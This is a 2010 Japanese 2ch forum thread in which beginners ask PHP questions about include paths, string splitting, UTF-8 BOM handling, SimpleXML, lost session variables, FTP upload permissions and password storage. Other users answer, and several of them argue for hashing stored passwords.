0109nobodyさん2010/04/25(日) 05:46:41ID:???
>>68

他人のサイトからパクって覚えるの繰り返しだと思う
時間が経つにつれて一通りできるようになったら中の動きとか気になるようになって
専門的知識を深めていくって感じだと思います。

あと、Linuxは基本かと。パッケージ管理ソフトウェアが動かせて
ミドルウェアのインストール、設定ができれば最初はいいんじゃないのかな。
0110nobodyさん2010/04/25(日) 09:50:18ID:NKSzzhov
1つの設定ファイルをincludeで参照して使ってますが、includeファイル自体に参照ファイルがあったりした場合は別階層から参照したりするとファイルがないと言われます。
設定をひとつにまとめることで色々と便利なのですが、階層が違うと読めないので
なにか回避方法か参照の仕方はこうしたほうがいいというのがあれば教えていただけないでしょうか。
0111nobodyさん2010/04/25(日) 10:05:41ID:???
絶対パスで書くかファイル内で取得する
0112sage2010/04/25(日) 10:45:54ID:???
inc1.php
 <?
 $test = "hoge";
 include('inc2.php');
 ?>
inc2.php
 <? $test2 = "pgr"; ?>
のときに
text.php
 <? include('inc1.php'); ?>
ならOKだけど
/hoge/text.php
 <? include('../inc1.php'); ?>
だとinc2.phpが読めないってことだよな?
0113nobodyさん2010/04/25(日) 11:11:21ID:???
111が言うように、絶対パスで指定するか、

include_once realpath(dirname(__FILE__)).'/../includeFile.php';

と相対パスを作るか。
0114nobodyさん2010/04/25(日) 15:21:31ID:W8wPumEz
realpathとdirname(__FILE__)を同時表記するのって冗長だと思うけどそうでもない?
realpath("./") = dirname(__FILE__)って認識なんだけど
0115nobodyさん2010/04/26(月) 16:17:33ID:???
>>114
./sample.php
./inc/example.php

sample.phpからexample.phpを読んだ場合、
realpath("./");
ってやっても、sample.phpの置いてある階層しか取れないよ。
incの階層を取るには
dirname(__FILE__)
の方。
よって
realpath("./") = dirname(__FILE__)
ではない。

>>113
realpathはいらなくないか?
includeファイル内でdirname(__FILE__) . '/../includeFile.php';
だけでいける。
0116nobodyさん2010/04/26(月) 20:53:06ID:X/+ZZ3QP
上司の作ったプログラムに
if(判断){
処理
}elseif(判断){
処理
}
ってのがあるんだけどelseって必須ではないってこと?
0117nobodyさん2010/04/26(月) 20:57:54ID:???
ifだけ書いてelseを書かなくてもいいじゃん。
それと同じでしょ。
0118nobodyさん2010/04/26(月) 21:10:26ID:X/+ZZ3QP
確かに言われてみればそうですね。
こんな初歩的な事に気づかないなんて・・・。
疲れてんのか・・・
0119nobodyさん2010/04/26(月) 21:34:28ID:???
ま、初歩的を初心とするならば、
elseは書いておくほうがいいよ。
予想外のifを、すりぬける場合が
あるから。
0120nobodyさん2010/04/26(月) 22:07:47ID:98kXUi+i
$a = split(".", "35.11.22.56");
のように分割すると
$a[1] => ''
空文字が返ります。
何故でしょうか。。
0121nobodyさん2010/04/26(月) 23:23:32ID:???
splitはexplodeのエイリアスじゃないですよ?
0122nobodyさん2010/04/26(月) 23:34:47ID:???
>>120
splitは正規表現を使うから
$a = split("\.", "35.11.22.56");

でも
explode(".", "35.11.22.56");
の方が良いかな
01231202010/04/27(火) 00:47:39ID:4fGmvH5J
>>121
>>122
ありがとうございます。なるほど、そういうことでしたか。
区切りが"."だと全ての文字が区切り文字になってしってしまってたのか
0124nobodyさん2010/04/27(火) 03:59:06ID:???
phpのメールフォームの確認画面で
記載内容のテーブルのいちばん外側の枠は表示されるんですが
trやtdの枠が表示されず困っています。

現在は下記のような内容です。
どこがいけないのでしょうか、教えて頂ければとても助かります。

<form action="<? echo $script; ?>" method="POST" >
<table border="1" cellspacing="20" cellpadding="5" width="538">
<? echo $err_message; ?>

<?php
foreach($_POST as $key=>$var) {
$key = strtr($key, $string_from, $string_to);
if(get_magic_quotes_gpc()) $var = stripslashes($var);
$var = htmlspecialchars($var);
print("<tr><td width=\"140\">".$key."</td><td>".$var."</td></tr>");
?>

<input type="hidden" name="<?= $key ?>" value="<?= $var ?>" />
<?php
print("\n");
}
?>
</table>
0125nobodyさん2010/04/27(火) 04:01:30ID:???
>>124
それはHTMLの質問になっちゃうからスレ違い
Web制作板あたりを探ってくれ
0126nobodyさん2010/04/27(火) 04:25:01ID:???
>>125
そうでしたか、すいません。
なんとか自力で解決出来そうです。
スレ違い失礼しました。
0127nobodyさん2010/04/27(火) 08:44:26ID:???
PHPでリダイレクトを実現するには一般的にはどういう手段を使いますか?
PearライブラリのHTTP::redirectという関数を見つけましたが、自分の環境にはPearをインストール出来ません。
生でやろうとすると、headerを設定する方法があるようですが、
この方法だと既にheaderが設定されてるページではエラーが出てしまいリダイレクトできませんでした。
何か良い方法は無いでしょうか?
0128nobodyさん2010/04/27(火) 08:53:10ID:???
とくにない
0129sage2010/04/27(火) 09:18:59ID:???
headerが設定されているページをheaderってどゆこと?
0130nobodyさん2010/04/27(火) 11:07:39ID:Id0HIA1n
【OS名】Linux
【PHPのバージョン】4.4.8
【質問内容】fgetsで任意の数行(連続した行でない)を読みたいのですが、
一行単位で配列に入れたり、for()で一行毎に上から数えて読んでいく以外に
エクセレントな方法はありますか?

1000行のtextから、5,6,10,800行だけを読むような感じです。
宜しくお願いします。
0131nobodyさん2010/04/27(火) 11:30:46ID:???
>>130
各行の長さが固定なら(行番号×行の長さ)の位置までシークできるけど、
そうでなければ、一行ずつ抜いてカウントしていくしかないかな
0132sage2010/04/27(火) 11:42:26ID:???
各行のlengthが同じなら区切れるけど、そうじゃなければfileで引っこ抜いて
$test[5]
$test[6]
$test[10]
$test[800]
でいいんじゃないかな
0133nobodyさん2010/04/27(火) 11:47:29ID:???
>>131-132
ありがとうございます。
配列に格納な感じでいってみます。
0134nobodyさん2010/04/27(火) 11:53:19ID:???
【OS名】Windows
【PHPのバージョン】5.2

UTF-8(BOMつき)のHTMLを読み込み、加工して出力を行っているのですが
どうやらBOMもしっかり文字として読み込んでしまっているようで、SJISなどに変換して出力した際'?'に化けてしまいます。

ファイルからテキストを読み込んだが時に、自動的にBOMを削除してくれる機能はないのでしょうか?
ざっとUTF-8 BOM PHP で探しまわったところ、先頭3バイトを調査してsubstrで削除しているところばかりだったのですが…。
(つまり無さそう?)
01351342010/04/27(火) 11:54:14ID:QEbg26q1
IDを出し忘れましたので即レスです
0136nobodyさん2010/04/27(火) 13:14:55ID:???
>>134
http://jp.php.net/manual/ja/function.mb-substitute-character.php
0137nobodyさん2010/04/27(火) 15:33:48ID:Y8r8JnMJ
すみません、phpで符号なし右シフト「>>>」と同じ結果を得るには
どうすると良いでしょうか?
0138nobodyさん2010/04/27(火) 15:59:37ID:???
>>137

>>=
0139nobodyさん2010/04/27(火) 16:08:46ID:???
右シフトしてから、最上位ビットを0にしちゃえばいいんじゃね?
0140nobodyさん2010/04/27(火) 16:11:01ID:???
右シフトしてから、最上位からシフトした桁分だけ0埋め?
01411/22010/04/27(火) 16:52:34ID:???
【サーバーOS】Windows2003
【Webページ接続OS】Windows7、vista、XP
【phpバージョン】5.2
phpのセッション管理に関する質問です
ログイン管理にセッションを用いていて、認証フォーム→ログイン処理→ログイン後トップページという風に処理しています。
認証フォームで入力したIDとパスワードを、ログイン処理ページで処理してセッション変数を格納し、トップページへと繋げて、以降セッション変数で管理しているのですが、ログイン処理の時点でセッション変数に値が格納出来ていません。

もう一つ別のページでもセッション変数の格納を行っているのですが、そちらは特に問題なく動作しています。
そしてもう一つ、これらの問題はWindowsVISTA、XPのPCで接続した場合に発生し、7で接続した場合は発生しておりません。
まず、問題が発見されたほうのソースコードです。

<?php
$old_session_name=session_name('kaiin');
session_start();
//mysql接続クラス呼び出し
require_once "../php/dbh.php";
$dbh=new db();
$con=$dbh->db_connect();
if(!$result=mysql_query("select ~~~~~~ ")){
header("Location:http://");
}
0142nobodyさん2010/04/27(火) 17:00:33ID:???
>>141
質問時はIDを出してください

そのコードだとセッションのセットはしてないみたいだよ?
01432/22010/04/27(火) 17:00:40ID:???
$row=mysql_fetch_array($result,MYSQL_ASSOC);
$ent=hash_hmac(sha256,$_POST[post],2channel);
if($row[]===$_2ch){
$_SESSION[]='';
$_SESSION[]="$row[]";
$_SESSION[]="$row[]";
header("Location:http://");
}else{
header("Location:http://");
}

mysql_close($con);
?>

次に、問題が出なかった方のソースコードです

<?php
$old_session_name=session_name("php_exam");
session_start();

foreach($_POST as $key => $value){
$_SESSION[$key]=$value;
}
print <<< EOD
以下HTMLが続く
EOD;
?>

何故接続するPCの違い、ページの違いによって問題が発生するのかまるで分かりません。
ブラウザはIE、火狐、クロームを試しましたがどれも同じ結果でした。
ご教授お願い致します。
0144>>1412010/04/27(火) 17:01:52ID:Yj0vX1vG
失礼、ID出し忘れたので即レスです
0145nobodyさん2010/04/27(火) 17:07:26ID:???
>>141

if($row[]===$_2ch){

これは何してるかわかる?
$row[]なので、$row配列の最後尾に追加される。
たとえば、
$row[0],$row[1]
がある状態で$row[]とやると、$row[2]になる。
ので
$row[]===$_2ch
というのは
$_2chが「値無し」じゃないと当てはまらないはず。

結果的に$_SESSION[]="$row[]";
にはいらず、elseのほうに入ってしまっている。
0146>>1412010/04/27(火) 17:11:36ID:???
>>145
失礼しました、説明が足りませんでしたね
$_SESSION[]はや$row[]は2chに書く用に中の連想文字を消したもので、実際には
$_SESSION[2ch]や$row[2ch]のように、中に連想文字が入っている状態です。
分かりにくくて申し訳ないです;;
0147nobodyさん2010/04/27(火) 17:14:17ID:???
>>146
説明が足りないんじゃなくて再現するコードを出せてないことが問題なんだろ
あとID出せよ
0148>>1412010/04/27(火) 17:22:18ID:Yj0vX1vG
>>147
確かにそうですね。特定されないようにするにも限度がありました。
ちょっと数点間違えがありましたので、修正して書き直します

<?php
$old_session_name=session_name('kaiin');
session_start();
//mysql接続クラス呼び出し
require_once "../php/dbh.php";
$dbh=new db();
$con=$dbh->db_connect();
if(!$result=mysql_query("select 会員情報を取ってくるSQL文 ")){
header("Location:http://エラーページへ");
}
$row=mysql_fetch_array($result,MYSQL_ASSOC);
$_2ch=hash_hmac(sha256,$_POST[post],2channel);//フォームに入力されたパスワードをハッシュ化
if($row[_2ch]===$_2ch){ //mysqlにあるハッシュ化されたパスワードと照合
$_SESSION[id]='id';
$_SESSION[id2]="$row[id2]";
$_SESSION[id3]="$row[id3]";
header("Location:http://会員ページへ");
}else{
header("Location:http://エラーページへ");
}

mysql_close($con);
?>
0149nobodyさん2010/04/27(火) 17:24:33ID:???
普通に$row[_2ch]===$_2chが一致しないだけでは?
var_dumpでもしてみれば
0150nobodyさん2010/04/27(火) 17:25:24ID:???
>>146
通常なんのブラウザを使おうがPHPの動作には影響しない。
ブラウザで動作が変わると言うことは、既にセッションを噛んでいるか、ブラウザの設定による問題かと思う。
いったん、検証に使ったブラウザを再起動して、セキュリティレベルを合わせる。

で、その後に
if($row[]===$_2ch){
の中に入っているか確認する。

入ってるのなら
header("Location:http://");
の直前で
var_dump($_SESSION);
exit;
値がきちんと格納されているか確認。

次にheaderで飛ばした先で
var_dump($_SESSION);
で、先ほどと中身が同じか確認。

セッションを発行させるのは
www.example.com
headerで飛ばした先は
sub.example.com
など、飛ばす先のドメインが違ったりすると、同じサーバーでもサードパーティ製のクッキーということで、セッションを引き継げないことがある。
IEのセキュリティレベルが高いときとか。


提示された条件ではこれくらいしか言えない。
01511342010/04/27(火) 18:02:57ID:QEbg26q1
>>136
レスありがとうございます。

その機能を使い、認識できない文字を"none"にし消してしまうのは、解決の1手段ではあると思います。
ただ、他の認識できない文字も消えてしまうという副作用も持っているため、なるべくなら
読み込み時にBOMが消えるようなやり方をとりたいと考えています。
0152nobodyさん2010/04/27(火) 18:17:38ID:???
BOMだけを取り除くのがどうしてもいやならiconvで変換したものを読み込むようにしたら?
0153nobodyさん2010/04/27(火) 18:26:42ID:???
function fopen_utf8 ($filename, $mode) {
$file = @fopen($filename, $mode);
$bom = fread($file, 3);
if ($bom != b"\xEF\xBB\xBF")
rewind($file, 0);
return $file;
}

全部読み込んで先頭みて消した方が早いかなぁ。
0154nobodyさん2010/04/27(火) 19:29:17ID:???
ども
最近PHPの未来が心配になってきました
0155sage2010/04/27(火) 19:37:43ID:???
>>154
どのへんが?
0156nobodyさん2010/04/27(火) 19:58:11ID:???
BOMなんて検索したら言語を問わずあちこちに情報があるけどね
0157nobodyさん2010/04/27(火) 22:14:35ID:VBIE6D7r
【PHPのバージョン】5.3
【コード】
<?php
$xml = "http://gdata.youtube.com/feeds/videos/sflAm00WGko/related";
$data = simplexml_load_file($xml);

foreach($data as $data) {
echo $data->title."<br>";
echo $data->link->attributes()->href[0]."<br><br>";
}

【質問内容】
上記のコードを実行すると内容の表示はされるんですが、
以下のエラーメッセージが出てきてどうしても消せません。

Warning: main() [function.main]: Node no longer exists in C:\xampplite\htdocs\test\test.php on line 7

ググって出てきた情報だと、シリアライズすればいいとかJSONエンコードすればいいとか
そのくらいのものしかなくて、いちおう一通りやってみたんですが、どうしてもダメです。

どうすれば解決できるのでしょうか。よろしくお願いします
0158nobodyさん2010/04/27(火) 22:26:35ID:???
>foreach($data as $data) {
0159nobodyさん2010/04/27(火) 22:48:35ID:???
simplexml分からないから異論は認めない(キリッ

$src = file_get_contents("http://gdata.youtube.com/feeds/videos/sflAm00WGko/related");
preg_match_all("#<title.*?>(.*?)</title>#", $src, $matchs);
preg_match_all("#<a.*?(http://www.youtube.com/watch.*?)\'#", $src, $matchs2);
echo "<h1>{$matchs[1][0]}</h1>";
for ($i = 0; $i < count($matchs2[1]); $i++) {
echo $matchs[1][$i+1] . '<br><a href="' . $matchs2[1][$i] . '">' . $matchs2[1][$i] . '</a><br><br>';
}
0160nobodyさん2010/04/27(火) 22:51:20ID:???
フィードの取得に正規表現とか・・・・
0161nobodyさん2010/04/27(火) 22:53:20ID:???
異論を認めないといったろ
0162sage2010/04/27(火) 23:07:30ID:???
この辺は慣れたら普通にいれちゃう処理だけどBOMとか規格統一してくんね〜かな
0163nobodyさん2010/04/27(火) 23:08:34ID:???
案外xmlパースするより正規表現のほうが早いんじゃないか?
それはさておき
foreach ($data->entry as $data)にすればおk
0164nobodyさん2010/04/27(火) 23:13:28ID:???
正規表現で抜くと表示前にデータを処理した時に手間が増える
おまけに忘れた頃にスクリプトを弄ろうとすると見通しが悪くて萎える
0165nobodyさん2010/04/27(火) 23:16:38ID:???
それは人それぞれだな
0166nobodyさん2010/04/27(火) 23:22:01ID:???
ところで正規表現の奴は<>の整合性をチェックしてないけどいいの?
あと、データがnullだと/>とかにならなかったっけ?
0167nobodyさん2010/04/27(火) 23:37:02ID:???
>>163
大元のxmlオブジェクトを上書きしないか?なんか気持ち悪いぞ
0168nobodyさん2010/04/27(火) 23:40:47ID:???
>>166
動けばおk
自分で使う用の適当スクリプトでしょこれ?
フィードが変わればどうせ書き直さないといけないし
そのつどあったものを動くように書けばおk
0169nobodyさん2010/04/27(火) 23:42:03ID:???
>>167
キモチワルイけどローカルスコープだし別にいいんじゃない
0170nobodyさん2010/04/27(火) 23:42:46ID:???
なんでxmlとして読まないの?
0171nobodyさん2010/04/27(火) 23:44:43ID:???
>>170
?
>$data = simplexml_load_file($xml);
読んでるじゃん?
0172nobodyさん2010/04/27(火) 23:45:54ID:???
>>171
>>168のことを言ってるんだよ・・・
0173nobodyさん2010/04/27(火) 23:47:52ID:???
>>159の1行目嫁ば理由がわかる
0174nobodyさん2010/04/27(火) 23:58:57ID:???
じゃ分かるようになれや
0175nobodyさん2010/04/27(火) 23:59:55ID:VBIE6D7r
>>159-173
無事に解決できました。
いろいろと勉強になりました。
どうもありがとうございました。
0176nobodyさん2010/04/28(水) 08:53:04ID:???
PHPでの文字列比較は===と!==を使ってれば間違いないのかな?
0177>>1412010/04/28(水) 11:29:15ID:ucXE3i6f
>>149
それは合っていましたね
>>150
その方法で試してみましたが、認証ページでは格納されていて、会員ページのトップでは格納されていませんでした
データの持ち越しに難があるようです。
それと、今日朝一番にログインしてみたところ、問題なく処理が完了していたので、ログアウト処理かと思い、以下のコードに修正しました

<?php
$_SESSION=array();
if(isset($_COOKIE[session_name()])){
setcookie(session_name(),'',time()-42000,'/');
}
session_destroy();
$old_session_name=session_name('kaiin');
session_start();
require_once "../php/dbh.php";
$dbh=new db();
$con=$dbh->db_connect();
if(!$result=mysql_query("select 会員情報を取ってくるSQL文 ")){
header("Location:http://エラーページへ");
}
$row=mysql_fetch_array($result,MYSQL_ASSOC);
$_2ch=hash_hmac(sha256,$_POST[post],2channel);//フォームに入力されたパスワードをハッシュ化
if($row[_2ch]===$_2ch){ //mysqlにあるハッシュ化されたパスワードと照合
$_SESSION[id]='id';
$_SESSION[id2]="$row[id2]";
$_SESSION[id3]="$row[id3]";
header("Location:http://会員ページへ");
}else{
header("Location:http://エラーページへ");
}
mysql_close($con);
0178>>1412010/04/28(水) 11:31:10ID:ucXE3i6f
長くなり過ぎて怒られたので、二回に分けます。
ブラウザの再起動も試しましたが、効果がないようでした。
ブラウザ、セキュリティの設定は、問題がないOS、問題があるOS間で共通にしています。
0179nobodyさん2010/04/28(水) 12:49:46ID:???
session_name($string);
session_start();

今は知らないが前は思ったように処理されていなかった気がする
session_name使わなければ上手く行くのでは
0180nobodyさん2010/04/28(水) 15:46:30ID:???
公式にeregは非推奨と書かれていますが、
これに代わる関数としては何が使われているのですか?
preg_matchしか無いですかね
0181nobodyさん2010/04/28(水) 16:05:09ID:+yWQl9Xv
>>180
マニュアル読む限りはそうぽい
あとは正規表現使わないで指定できるならstr系の方が断然はやい(と思う)

質問
webサーバ(IIS)とmailサーバ(PostOffice)が別サーバでたててある場合
PHPからmail()関数でメール送信可能でしょうか?
用件:http://jp2.php.net/manual/ja/mail.requirements.php
を見る限り
"PHP は sendmail を探す際にまず PATH を見ます。次に /usr/bin:/usr/sbin:/usr/etc:/etc:/usr/ucblib:/usr/lib の順で探します。"
なのでダメかと思うのですがなんかTipsがあれば教えてください
0182nobodyさん2010/04/28(水) 16:12:07ID:???
>>181
smtpサーバ指定ができるPEAR::MailとかZend_Mailを使って下さい
0183nobodyさん2010/04/28(水) 16:15:24ID:???
smtpサーバになればいいじゃん、と思わんでもないけど、だめなんだろね
01841812010/04/28(水) 16:15:41ID:+yWQl9Xv
>>182
ありがとう、試してみますー
0185nobodyさん2010/04/28(水) 16:57:57ID:JYOFOpwX

質問です、ようやくPHPの文法や
関数を一通り覚えたんで、次へいきたいなと思ってます。

そこで開発環境なんですが、みなさんお勧めのものってありますか?
一応eclipse pdt入れてみたんですがいーのか悪いのかよくわからないので・・。
(機能を使いこなしてないだけかもしれませんが)
あと本とかでよく出てくるテンプレートエンジンなんですけど
実際、smartyって現場では使われてるんでしょうか。
覚えるべきなのか、どーなのか微妙な気するんですけど。
0186nobodyさん2010/04/28(水) 17:10:56ID:???
テキストエディタで開発してます。
eclipseでもいいとおもうし、好みのエディタがあるならそれでもいいと思う。
smartyは少なくともうちでは現場でも良く使ってる。
01871812010/04/28(水) 17:23:34ID:+yWQl9Xv
開発はCoda
このあいだ、BEARっていうのの勉強会いった
ちょっと楽しそう。PEARの拡張だって
0188nobodyさん2010/04/28(水) 18:17:17ID:BWf7HQei
eregiって結構使ってるところあるんだけどどういう理由で非推奨なんでしょうか。
将来的に削除される事が決まってるとかならちょっと書き直そうかな〜と思うけど、速度を求めてるスクリプトでもないしな〜。
0189nobodyさん2010/04/28(水) 18:36:47ID:???
バイナリセーフじゃないとかじゃなかったっけ
入力チェックには使えんみたいな
0190nobodyさん2010/04/28(水) 18:39:53ID:JYOFOpwX
ありがとうございます。

>>186
smartyやっぱけっこう一般的なんですね。
覚えときます_‘@‘_。
エディターは好みでいいと思うんですけど実際
仕事なんかだとおっきな開発するのにどーいう
環境でやってるんだろうと興味をもちまして。
本とか見てるといくつか開発環境のってるんですけど
実際、本に書いてある事例と現場だと違うことって多いって聞くので
どれが無難なのか知りたいです。

>>187
Codaって確かマック用ですよね?
Eclipseは使ってみてちと重たいような気がするんで・・

開発に使われてるので主流なのってどれなんだろ・・。
0191sage2010/04/28(水) 22:04:09ID:???
windowsでcodaみたいなのね〜のか?
0192nobodyさん2010/04/28(水) 22:10:18ID:U+YOGOTr
ファイル名はあるけどファイルの中身が空かどうかってfilesize===0で調べられる?
0193ど素人で恐縮です2010/04/28(水) 23:09:11ID:dD5SuLVE
外注さんで作ってもらったウェブアプリが1本あるんですが
テキストや画像を一部変更したいのですが、変更するとサーバーにあがりません

どうやったら上がるようになるんでしょう?
外注さんには結構なお金を既に払い込んでいて、少しの変更も数十万単位の見積りで泣きそうです
まだ営業もしてないのに・・

外注さんは比較的良心的なので、なぜ上がらないのか?は教えてくれました
曰く「サーバーの権限よりアプリの権限が上だから・・」と

サーバーに上げるのはほんのすこ〜しだけ分かってる奴がFFFTPとかいうソフトで上げてるのですが
私がど素人なりに必死にググって「パーミッションの設定とか関係ない?」と聞いても
「パーミッションはサーバーに合わせてあるから問題ない」とのことでした

一応、所有権も著作権も全てコチラ側にあるんですが、小変更もままならない状態で参ってます orz
かといってプログラマーさんに払えるようなお金はないし・・
ど素人とはいえ、非常識な質問でしたらすいません
よろしくお願いします
0194nobodyさん2010/04/28(水) 23:20:37ID:???
参ってるんだから数十万くらい払いなさい。
0195nobodyさん2010/04/28(水) 23:21:10ID:???
サーバにあがりませんってのは
FFFTPエラーとかでてるってこと?

でてるならエラーの種類とか書いたらわかるかもよ。
0196sage2010/04/28(水) 23:27:59ID:???
ファイル自体が上げれない?
状況がいまいちよくわからんが、エラーが出てるならそれを貼ればわかるかも。
アプリとかと関係ない勝手に作ったテキストファイルすらあげられないとかじゃないとは思うけど。
というかアプリ作ってもらったんなら仕様書とかないのかな?
0197nobodyさん2010/04/28(水) 23:28:47ID:???
問題点に関連性が見られないし釣りじゃないの

サーバーにアップロードできないのに権限が上も下もないだろ
0198sage2010/04/28(水) 23:32:50ID:???
サーバーの権限よりアプリの権限が上?
どういうことだ?
0199nobodyさん2010/04/28(水) 23:33:54ID:???
超ぼられてるじゃんwww
アプリケーションの設置サポートが別料金としても
普通設置方法ぐらいのマニュアルは手渡すわ
0200nobodyさん2010/04/28(水) 23:34:12ID:???
FTPのユーザより、既に上がっているファイルの権限が上だから上書きができないんちゃう?
0201nobodyさん2010/04/28(水) 23:34:26ID:???
おれが思うにアプリとは、その作ってもらったWEBアプリじゃなく
アップロードソフトのこと言ってんじゃね。
0202ど素人で恐縮です2010/04/28(水) 23:39:12ID:dD5SuLVE
みなさんすいません

>>194 いやもう何十回もソレを繰り返してまして・・まぢ営業前にツブレそうなんです orz

>>195-196
エラーコードは「550」だそうです
何か分かりますでしょうか?
自分でもググったんですが、さっぱりで・・

>>197
釣りではないんですが、変な質問ですいません

>>198
はい
二人揃って首をヒネってるところですが
「これ以上は自分たちでやってください!」ってことかと
0203nobodyさん2010/04/28(水) 23:42:02ID:???
とりあえずパーミッション755にして
そのFFFTP再起動してみたら
0204nobodyさん2010/04/28(水) 23:42:17ID:???
>>202
winscpっていうソフト落としてそのウェブアプリと同じ権限でファイルを上げる
0205ど素人で恐縮です2010/04/28(水) 23:46:13ID:dD5SuLVE
>>199
「サーバーに上げるのもコッチでやります」とは言われたんですが、
営業上の問題もあるのでこちらでやらせてもらうようにしました

で、もう一人の奴が挑戦したらやっぱできなくて、電話で泣きを入れて教えてもらいました
「ほら〜」って言われたそうですが、なんとか上がるようにはなりました

>>200
あっ、ソレ!
そんな感じのことを言ってたような気もします

それってどーゆうことなんでしょう?
簡単に解決できるようなことですか?

>>201
作ってもらったのはWebアプリのはずです いやWebアプリです
アップローダーはフリーのFFFTPだと思います
0206nobodyさん2010/04/28(水) 23:50:50ID:???
PHP以前の話だな
無料サポートしてもらいたいんならこっちのスレでやってくれ
http://pc11.2ch.net/test/read.cgi/php/1257701535/
0207nobodyさん2010/04/28(水) 23:52:39ID:???
そんな知識でWebアプリ公開して個人情報とか漏らすなよ
0208ど素人で恐縮です2010/04/28(水) 23:54:19ID:dD5SuLVE
>>203
パーミッションは
705
705
707

だったと思います


>>204
それってアップローダですか?
今使ってるのと比べて何か利点があるのでしょうか?

あと、「ウェブアプリと同じ権限で」ってところをもう少し教えてもらえないでしょうか?
私もしつこいくらいパーミッションの設定を変えてみろと言ったんですが、
もう一人の奴には「合わせてある」と言われるばっかりだったので・・
0209nobodyさん2010/04/28(水) 23:55:26ID:???
アップローダーじゃなくてFTPクライアントといいます
0210ど素人で恐縮です2010/04/28(水) 23:58:08ID:dD5SuLVE
>>206
失礼しました
そちらで聞いてみます

>>207
そうですね
気をつけます

図々しくて申し訳ないんですが、何が問題かだけでもよかったら教えてください


みなさん、スレ汚し失礼しました
レスをくれた方々、ありがとうございました
0211nobodyさん2010/04/28(水) 23:58:27ID:???
>>208
WinSCPの利点は今お前が抱えてる問題を解決してくれるところかな
0212nobodyさん2010/04/28(水) 23:59:20ID:dD5SuLVE
>>209
教えていただいてありがとうございます
アップローダ = FTPクライアント だと思ってましたw
0213nobodyさん2010/04/29(木) 00:01:26ID:dD5SuLVE
>>211
ほんとですか!!
まぢありがたいっす!

と、とりあえず、がんがって挑戦してみます!
0214sage2010/04/29(木) 00:05:09ID:???
テキスト変更するだけで何十万ももらえるなら俺がやりて〜わ
0215nobodyさん2010/04/29(木) 00:05:59ID:???
バイトでメンテナンス要因雇えばいいのに
0216nobodyさん2010/04/29(木) 01:50:18ID:HrU0q6yy
パーミッションの意味もしらないのか?
0217nobodyさん2010/04/29(木) 09:56:42ID:nW8M9+c1
WordPressについてのスレッドってありませんか?
0218nobodyさん2010/04/29(木) 10:20:43ID:???
>>124
ぐぐれカス
0219nobodyさん2010/04/29(木) 12:21:56ID:???
画面から入力されたパスワードをテーブルに格納するときには、
生で格納せずに暗号化して登録するのがセオリーですか?

確かにDBに不正アクセスとかされた場合に生のパスワードを保存しておくのは
危険だとは思いますが、

現在のMySQLの設定は、DB接続パスワードとして30桁も設定しています。
その為、先ずDBに不正侵入されることはないかと思っているのですが如何なものでしょうか?
0220nobodyさん2010/04/29(木) 12:25:00ID:???
それよりまずスレタイすら読まないというのは如何なものでしょうか?
0221sage2010/04/29(木) 14:25:35ID:???
それを回避してDBにアクセスできるセキュリティーホールがあった場合はどういいわけするんですか?
0222nobodyさん2010/04/29(木) 14:27:57ID:???
なんでも自己責任ですよ。作った貴方の。
自分で責任とれるんなら、何しようと貴方が決めればいい。
0223sage2010/04/29(木) 14:28:28ID:???
パスワードを盗む人が常に外部から侵入を試みるなんて考えるなよ
0224nobodyさん2010/04/29(木) 14:35:04ID:???
>>221
例えばあなたは、DBパスワードが分らないサーバの情報を引き抜けますか?

>>223
https で暗号化された通信を行っているので
パケットをキャプチャしても意味を成さない気がするのですが。
0225nobodyさん2010/04/29(木) 14:38:26ID:???
パスワードはハッシュで管理するのが普通だろ

いろいろなサービースでパスワードを使い回してるユーザーはかなり多いから
漏れたら損害賠償ものだ
0226sage2010/04/29(木) 14:45:11ID:???
>>224
とりあえずお前の管理してるサーバーのお世話にはなりたくないわ。
ちょっとした手間を惜しんで暗号化しないとか・・・。
httpsだから安心?そんな糞みたいな考えなら管理者なんてやめちまえ。
パスワードかけてるからHDDを泥棒されても大丈夫とかマジで言い張りそうで怖いわ。
0227nobodyさん2010/04/29(木) 14:47:29ID:k/DZBqhj
いまどき>>224みたいなネタにひっかかるなよ
いくらなんでも釣られすぎだろ
0228nobodyさん2010/04/29(木) 14:51:59ID:???
>>224
内部の人間の不正アクセスが出来ない、そしてそれを証明できる。
0229nobodyさん2010/04/29(木) 16:45:08ID:???
内外問わずパスワードの暗号化に拘るならそれ以外のデータも暗号しなければ意味が無い。
個人用ならそれで良いけど他人に開示したいデータだと無理だね。
0230nobodyさん2010/04/29(木) 19:09:39ID:???
ずっと数行使って書いてたtxtファイル読み取りで、
最近readfileなる関数があることを知って驚いたのだけど
返り値の末尾に必ずバイト数がついてきやがる・・・
なんなのこの仕様
0231nobodyさん2010/04/29(木) 19:13:35ID:???
返り値の末尾というか返り値がバイト数だよ
0232nobodyさん2010/04/29(木) 19:21:18ID:???
http://www.php-ref.com/b2api/04_readfile.html
返り値はstringのはずだが
0233nobodyさん2010/04/29(木) 19:23:09ID:???
>>230
readfileの使い方間違ってねーか?
つかなんでfile_get_contents使わんの?
0234nobodyさん2010/04/29(木) 19:32:06ID:???
>>232
さり気なく宣伝してんじゃねぇよ
0235nobodyさん2010/04/29(木) 19:34:23ID:???
http://jp.php.net/manual/ja/function.readfile.php

関数説明するときはjp.php.net/manual/*を使おうな
0236nobodyさん2010/04/29(木) 19:46:22ID:???
宣伝乙といってほしいんだろ
0237nobodyさん2010/04/29(木) 21:02:27ID:???
>>225
オススメの暗号化関数を教えて下さい。
0238nobodyさん2010/04/29(木) 21:03:28ID:???
>>228
質問と回答がかみ合っていない。
0239nobodyさん2010/04/29(木) 21:16:35ID:???
>>238
内部の人間が不正にアクセスできない仕様。そしてそれを具体的に証明できるならばいいよ?
って事じゃない?
0240nobodyさん2010/04/29(木) 22:01:20ID:???
>>239
内部の人間とは誰をさしている?
0241nobodyさん2010/04/29(木) 22:01:22ID:???
携帯サイト コーディング&デザインという本を見て
ttp://dspt.blog59.fc2.com/blog-entry-40.html
 ↑のをやりたいと思ってますが、
htmlの
<img src="../images/xxxx.jpg" alt="トップ" width="640" height="240" />
という画像をサイズ変更後の画像にしたいのですが、、

<!--#include virtual="/data/imagetrans/trans.php?file=xxxx.jpg"-->
と置き換えてもうまく表示されません。

どのようにすべきでなのでしょうか?


0242nobodyさん2010/04/29(木) 22:16:16ID:???
>>241
本にやり方書いてないの?
02432412010/04/29(木) 23:12:52ID:???
>>242
読む限り上のやり方で良いように見えるんです。
0244nobodyさん2010/04/29(木) 23:23:03ID:???
pdo を使用してデータを登録すると
どうしても文字化けが発生してしまいます。

テーブルはsjisなのですがPDOではsjisは使えないのでしょうか?

0245nobodyさん2010/04/29(木) 23:58:22ID:???
PHPと関係ないだろ
